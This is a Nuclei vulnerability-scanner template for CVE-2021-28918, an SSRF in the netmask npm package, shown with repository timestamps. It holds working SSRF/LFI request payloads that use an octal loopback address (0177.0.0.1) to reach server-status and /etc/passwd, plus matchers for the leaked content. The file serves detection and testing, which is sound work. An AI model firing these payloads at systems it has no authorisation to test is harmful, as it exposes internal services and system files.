nuclei-templates/cves/2021/CVE-2021-28918.yaml

39 lines
1.2 KiB
YAML
Raw Normal View History

id: CVE-2021-28918
info:
name: Netmask npm Package SSRF
author: johnjhacking
2021-07-06 07:11:16 +00:00
severity: critical
description: Improper input validation of octal strings in netmask npm package allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
2021-07-06 07:11:16 +00:00
tags: cve,cve2021,npm,netmask,ssrf,lfi
reference: |
- https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-28918
- https://github.com/advisories/GHSA-pch5-whg9-qr2r
requests:
- method: GET
path:
- "{{BaseURL}}/?url=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?host=http://0177.0.0.1/server-status"
- "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd"
2021-07-06 07:11:16 +00:00
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
2021-07-06 07:05:03 +00:00
part: body
words:
- "Apache Server Status"
- "Server Version"
condition: and
- type: word
part: body
words:
- "root:x:0:0:root:"
condition: or